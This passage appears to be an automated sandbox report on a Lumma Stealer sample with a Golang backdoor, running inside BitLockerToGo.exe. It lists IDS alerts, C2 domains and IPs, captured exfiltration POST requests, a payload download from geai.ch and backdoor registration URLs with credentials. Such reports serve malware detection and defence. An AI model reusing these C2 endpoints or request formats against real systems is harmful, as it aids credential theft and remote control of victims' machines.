Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax]	3_2_0043DFB3

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855539 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2 : 195.200.31.22:21428 -> 192.168.2.4:49854
Source: Network traffic	Suricata IDS: 2855536 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1 : 192.168.2.4:49854 -> 195.200.31.22:21428
Source: Network traffic	Suricata IDS: 2855478 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor Activity : 192.168.2.4:49848 -> 46.8.232.106:30001
Source: Network traffic	Suricata IDS: 2855537 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2 : 192.168.2.4:49854 -> 195.200.31.22:21428
Source: Network traffic	Suricata IDS: 2855538 - Severity 1 - ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1 : 195.200.31.22:21428 -> 192.168.2.4:49854
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49742 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://mooncobudy.click/api

Found Tor onion address

Source: BitLockerToGo.exe, 00000005.00000002.2916062220.0000000002D08000.00000002.00000400.00020000.00000000.sdmp

String found in binary or memory: GoneDATAPING<>1080openStat.com.bat.cmdnullbooljson'\''quit3125Atoiint8uintchanfunccallkind != ermssse3avx2bmi1bmi2bitsNameTypeFrom.css.gif.htm.jpg.mjs.pdf.png.svg.xmlxn--AhomChamKawiLisuMiaoModiNewaThaiTotoDashasn1tag:MarchAprilmonthLocal+0530+0430+0545+0630+0330+0845+1030+1245+1345-0930false<nil>Errordefersweepschedhchansudoggscanmheaptracepanicsleepgcingusagefault[...]hostswriteclosefileshttpsimap2imap3imapspop3s:***@Rangeallowrange:path%s %q%s=%sHTTP/socksFound&"'chdirLstatarray%s:%dyamuxlocalparsentohs1562578125int16int32int64uint8slicesse41sse42ssse3 (at ClassTypeAtls: Earlyutf-8%s*%dtext/.avif.html.jpeg.json.wasm.webpRealmbad nAdlamBamumBatakBuhidDograGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicTakriTamilSTermSHA-1P-224P-256P-384P-521ECDSAupdatekilleduserIdconfigSundayMondayFridayAugustminutesecondUTC-11UTC-02UTC-08UTC-09UTC+12UTC+13StringFormat[]bytestringsysmontimersefenceselect, not objectstatusnetdns.locallisten.onionip+netreturnsocketacceptdomaingophertelnetClosedBasic CookiecookieexpectoriginserverclosedExpectPragmasocks LockedCANCELGOAWAYPADDEDactivesocks5renameexec: remotehangup Value390625uint16uint32uint64structchan<-<-chanrdtscppopcntcmd/go, val LengthTypeNSTypeMXheaderAnswerGetACPX25519%w%.0wAcceptServerArabicBrahmiCarianChakmaCommonCopticGothicHangulHatranHebrewKaithiKhojkiLepchaLycianLydianRejangSyriacTai_LeTangsaTangutTeluguThaanaWanchoYezidiHyphenSTREETTuesdayJanuaryOctoberMUI_StdMUI_Dltfloat32float64forcegccpuprofunknowngctraceIO waitrunningUNKNOWN:eventswindowswsarecvwsasendconnectopenbsdlookup UpgradeReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGTrailer:method:schemeupgrade:statushttp://chunkedCreatedIM UsedCONNECTHEADERSconsolePATHEXTrefused\\.\UNCabortedCopySidWSARecvWSASendsignal Swapper19531259765625invaliduintptrChanDir Value>Convertos/execruntime::ffff:nil keyanswersTypeSOATypePTRTypeTXTTypeSRVTypeOPTTypeWKSTypeALLderivedInitialExpiresSubjectcharsetAvestanBengaliBrailleCypriotDeseretElbasanElymaicGranthaHanunooKannadaMakasarMandaicMarchenMultaniMyanmarOsmanyaSharadaShavianSiddhamSinhalaSogdianSoyomboTagalogTibetanTirhutaRadicalSHA-224SHA-256SHA-384SHA-512#internDES-CBCEd25519MD2-RSAMD5-RSAserial:2.5.4.62.5.4.32.5.4.72.5.4.82.5.4.92.5.4.5scavengepollDescrwmutexWrwmutexRtraceBufdeadlockraceFinipanicnilcgocheck is not pointerBAD RANKruntime.reflect.net/httpgo/buildx509sha1profBlockstackpoolhchanLeafwbufSpansmSpanDeadscavtraceinittracepanicwaitchan sendpreemptedinterfacectxt != 0atomicor8tracebackcomplex64pclmulqdqmath/randrwxrwxrwxtime.Date(time.LocalnotifyListprofInsertstackLargemSpanInUseGOMAXPROCSstop tracedisablethpinvalidptrschedtracesemacquiredebug callGOMEMLIMITexitThreadBad varintatomicand8float64nanfloat32nanunknown pccomplex128execerrdothttp2debugcrypto/tlsassistQueuenetpollInitreflectOffsglobalAllocmSpanManualstart traceclobberfreegccheckmarkscheddetailcgocall nilunreachablebad m valuebad timedivfloat64nan1float64nan2float64nan3float32nan2gocachehashgocachetesthttp

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 30001
Source: unknown	Network traffic detected: HTTP traffic on port 30001 -> 49848

Source: global traffic	TCP traffic: 192.168.2.4:49848 -> 46.8.232.106:30001
Source: global traffic	TCP traffic: 192.168.2.4:49854 -> 195.200.31.22:21428

Source: Joe Sandbox View	IP Address: 46.8.232.106 46.8.232.106
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View	ASN Name: FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics
Source: Joe Sandbox View	ASN Name: KCOM-SPNService-ProviderNetworkex-MistralGB KCOM-SPNService-ProviderNetworkex-MistralGB
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 84.32.84.20:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 48Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=J342AOVJN3R2GWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18140Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=TXBB2XRTT0G3Z2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8761Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FCWPUDP9BDXKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20402Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QZT0PON9CKLZYUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1248Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RQ1RM20WVEV3JK5IJCKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 586114Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 83Host: mooncobudy.click
Source: global traffic	HTTP traffic detected: GET /FileSeek.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: geai.ch

Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 46.8.232.106
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	TCP traffic detected without corresponding DNS query: 195.200.31.22
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /FileSeek.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: geai.ch
Source: global traffic	HTTP traffic detected: GET /api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4c40b25dc0c1cd8&proxyPassword=dUZKyymJ&proxyUsername=cACUQSOf&userId=GwhkeMIXedr6k95cAje2l7kZetpIxXXDa1K3 HTTP/1.1Host: 46.8.232.106:30001User-Agent: Go-http-client/1.1X-Api-Key: if61sdD6Accept-Encoding: gzip

Source: global traffic	DNS traffic detected: DNS query: mooncobudy.click
Source: global traffic	DNS traffic detected: DNS query: geai.ch

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mooncobudy.click

Source: BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://147.45.196.157:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://188.130.206.243:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://38.180.205.164:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC5E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC06000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUV
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC4E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001/api/helper-first-register?buildVersion=0dfF.ore2kBf&md5=a64beab5d4516beca4
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC5E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.232.106:30001if61sdD6REQUEST_METHOD
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC06000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://46.8.236.61:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC0E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.212.166.91:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2C000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD30000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2E000.00000004.00001000.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2917453173.000000000BD2A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://91.212.166.9:30001/api/helper-first-register
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000005.00000002.2916626792.000000000BC4E000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://proxyPasswordproxyPassworddUZKyymJbuildVersionbuildVersion=HTTP/1.1X-Api-Keyhttp/1.1if61sdD6h
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.2001101999.00000000055E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000003.00000003.1967975230.00000000055F9000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1967798015.00000000055FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/
Source: BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/FileSeek.exe
Source: BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/FileSeek.exeBm
Source: BitLockerToGo.exe, 00000003.00000003.2243154545.0000000002FEA000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000002FEB000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/FileSeek.exeF9
Source: BitLockerToGo.exe, 00000003.00000002.2414379992.0000000002E7B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/FileSeek.exeI
Source: BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://geai.ch/FileSeek.exeP4
Source: BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: BitLockerToGo.exe, 00000003.00000003.2059836048.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014153185.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014611842.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2027966872.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014217136.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017458425.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013549840.00000000055BD000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/
Source: BitLockerToGo.exe, 00000003.00000003.2059888073.0000000003001000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/8
Source: BitLockerToGo.exe, 00000003.00000003.1966325120.0000000002F88000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1966476266.0000000002F8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/C
Source: BitLockerToGo.exe, 00000003.00000003.2013582931.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001315362.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013722752.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.1999810921.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2015510808.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2001283194.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014153185.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000698739.00000000055B8000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014611842.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2000859816.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2014217136.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2017458425.00000000055BE000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2002455441.00000000055BC000.00000004.00000800.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2013549840.00000000055BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/Drk
Source: BitLockerToGo.exe, 00000003.00000003.2242171082.0000000002FE7000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000003.2243076287.0000000003000000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000003.00000002.2415061355.0000000003001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mooncobudy.click/Y
